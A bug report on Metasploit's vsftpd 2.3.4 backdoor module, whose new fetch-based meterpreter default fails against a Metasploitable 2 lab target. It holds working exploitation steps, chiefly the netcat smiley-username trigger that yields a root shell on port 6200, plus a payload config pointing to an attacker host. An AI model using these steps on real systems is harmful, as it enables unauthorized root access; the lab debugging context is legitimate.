exploit/unix/ftp/vsftpd_234_backdoor: Default payload changed to fetch-based meterpreter, incompatible with legacy targets (Metasploitable 2 / Ubuntu 8.04)

[ZeroSixFour]

Steps to reproduce

1. Launch msfconsole
2. Run use exploit/unix/ftp/vsftpd_234_backdoor
3. Run show options
4. Observe that the default payload is cmd/linux/http/x86/meterpreter_reverse_tcp — a fetch-based payload requiring LHOST
5. Set RHOSTS to target IP and LHOST to attacking machine IP
6. Run run
   Environment:

• Attacking machine: Kali Linux (latest), VirtualBox VM, Metasploit 6.5.0-dev
• Target: Metasploitable 2 (Ubuntu 8.04, vsftpd 2.3.4)
• Network: VirtualBox Internal Network adapter

---

Expected behavior

The module should use cmd/unix/interact as its default payload, directly interacting with the bind shell opened on port 6200 by the vsftpd backdoor — consistent with all existing documentation and tutorials for this module. No LHOST should be required.

---

Current behavior

The module now defaults to cmd/linux/http/x86/meterpreter_reverse_tcp, a fetch-based payload that:

1. Requires LHOST to be set
2. Attempts to serve a meterpreter binary via HTTP on port 8080
3. Instructs the target to download and execute the binary via curl
4. Fails against Metasploitable 2 with Exploit completed, but no session was created
   The fetch-based approach fails against Metasploitable 2 because the target runs Ubuntu 8.04 with glibc 2.7, which is incompatible with the meterpreter binary generated by current Metasploit builds (which require glibc 2.17+).

Additionally, cmd/unix/interact no longer appears in show payloads output for this module, making it impossible to revert to the original working behavior.

The backdoor itself is confirmed functional — manual exploitation via netcat succeeds:

# Terminal 1
nc <TARGET_IP> 21
USER admin:)
PASS admin
 
# Terminal 2 — immediately after
nc <TARGET_IP> 6200
whoami  →  root

---

Were you following a specific guide/tutorial or documentation?

Multiple tutorials and the existing Metasploit documentation describe this module using cmd/unix/interact as the default payload with no LHOST requirement. The module behavior change is undocumented and breaks all existing guides for this module. Primary guide followed is https://www.youtube.com/watch?v=ye6EIP0zbys&list=PL3vZVNlrnTtZAceqaypJw2ILf5FfFYlEq&index=2

---

Metasploit version

Framework: 6.5.0-dev
Ruby: ruby 3.3.8 (2025-04-09 revision b200bad6cd) [x86_64-linux-gnu]
OpenSSL: OpenSSL 3.6.3 9 Jun 2026
Install Root: /usr/share/metasploit-framework
Install Method: apt (Kali Linux)

---

Additional Information

### Module/Datastore
 
[framework/core]
ConsoleLogging=false
LogLevel=0
MinimumRank=manual
SessionLogging=false
VERBOSE=false
 
[framework/ui/console]
ActiveModule=exploit/unix/ftp/vsftpd_234_backdoor
 
[unix/ftp/vsftpd_234_backdoor]
RHOSTS=<TARGET_IP>
LHOST=<ATTACKER_IP>
LPORT=4445
loglevel=3
VERBOSE=true
RPORT=21
SSL=false
AutoCheck=true
ForceExploit=false
FETCH_DELETE=false
FETCH_SRVPORT=8080
FETCH_COMMAND=CURL
FETCH_FILELESS=none
FETCH_PIPE=false
FETCH_WRITABLE_DIR=./
 
### Database Configuration
 
Session Type: postgresql selected, no connection
 
### History
 
1    search vsftpd 2.3.4
2    use 0
3    show options
4    set RHOSTS <TARGET_IP>
5    set LHOST <ATTACKER_IP>
6    run
7    set LPORT 4445
8    run
9    set loglevel 3
10   set VERBOSE true
11   run
12   debug
 
### Framework Errors
 
core: Exploit failed (unix/ftp/vsftpd_234_backdoor): Rex::BindFailed The address is
already in use or unavailable: (<ATTACKER_IP>:8080).
Call stack:
rex-socket/lib/rex/socket/comm/local.rb:279:in `rescue in create_by_type'
rex-socket/lib/rex/socket/comm/local.rb:258:in `create_by_type'
msf/core/payload/adapter/fetch/server/http.rb:151:in `start_http_server'
msf/core/payload/adapter/fetch/server/http.rb:54:in `start_http_fetch_handler'
msf/core/payload/adapter/fetch/http.rb:23:in `setup_handler'
msf/core/exploit.rb:409:in `setup'
msf/core/exploit_driver.rb:234:in `job_run_proc'
msf/core/exploit_driver.rb:183:in `run'
 
### Version/Install
 
Framework: 6.5.0-dev
Ruby: ruby 3.3.8 (2025-04-09 revision b200bad6cd) [x86_64-linux-gnu]
OpenSSL: OpenSSL 3.6.3 9 Jun 2026
Install Root: /usr/share/metasploit-framework
Session Type: postgresql selected, no connection
Install Method: apt (Kali Linux)